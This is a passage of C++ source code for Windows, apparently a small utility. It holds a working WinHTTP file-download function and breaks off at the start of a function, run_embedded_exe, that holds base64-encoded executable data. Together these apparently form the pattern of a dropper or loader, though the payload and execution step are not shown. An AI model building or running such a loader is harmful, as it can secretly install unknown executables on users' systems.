| 22 | } |
| 23 | |
| 24 | bool download_file(const std::wstring& url, const std::wstring& filename) { |
| 25 | std::wcout << L"Started downloading -> " << filename << L'\n'; |
| 26 | HINTERNET session = WinHttpOpen(L"Downloader/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, |
| 27 | WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); |
| 28 | if (!session) return false; |
| 29 | |
| 30 | URL_COMPONENTS urlComp = { sizeof(urlComp) }; |
| 31 | wchar_t host[256] = {}, path[2048] = {}; |
| 32 | urlComp.lpszHostName = host; urlComp.dwHostNameLength = _countof(host); |
| 33 | urlComp.lpszUrlPath = path; urlComp.dwUrlPathLength = _countof(path); |
| 34 | |
| 35 | if (!WinHttpCrackUrl(url.c_str(), 0, 0, &urlComp)) { |
| 36 | WinHttpCloseHandle(session); |
| 37 | return false; |
| 38 | } |
| 39 | |
| 40 | HINTERNET connect = WinHttpConnect(session, host, urlComp.nPort, 0); |
| 41 | if (!connect) { WinHttpCloseHandle(session); return false; } |
| 42 | |
| 43 | DWORD flags = (urlComp.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0; |
| 44 | HINTERNET request = WinHttpOpenRequest(connect, L"GET", path, nullptr, |
| 45 | WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, flags); |
| 46 | if (!request) { WinHttpCloseHandle(connect); WinHttpCloseHandle(session); return false; } |
| 47 | |
| 48 | if (!WinHttpSendRequest(request, nullptr, 0, nullptr, 0, 0, 0) || |
| 49 | !WinHttpReceiveResponse(request, nullptr)) { |
| 50 | WinHttpCloseHandle(request); WinHttpCloseHandle(connect); WinHttpCloseHandle(session); |
| 51 | return false; |
| 52 | } |
| 53 | |
| 54 | std::ofstream file(wstr_to_utf8(filename), std::ios::binary); |
| 55 | if (!file.is_open()) { |
| 56 | WinHttpCloseHandle(request); WinHttpCloseHandle(connect); WinHttpCloseHandle(session); |
| 57 | return false; |
| 58 | } |
| 59 | |
| 60 | std::vector<char> buffer(8192); |
| 61 | DWORD bytesRead; |
| 62 | while (WinHttpReadData(request, buffer.data(), buffer.size(), &bytesRead) && bytesRead > 0) |
| 63 | file.write(buffer.data(), bytesRead); |
| 64 | |
| 65 | file.close(); |
| 66 | WinHttpCloseHandle(request); |
| 67 | WinHttpCloseHandle(connect); |
| 68 | WinHttpCloseHandle(session); |
| 69 | return true; |
| 70 | } |
| 71 | |
| 72 | bool run_embedded_exe() { |
| 73 | const std::string base64_data = R"( |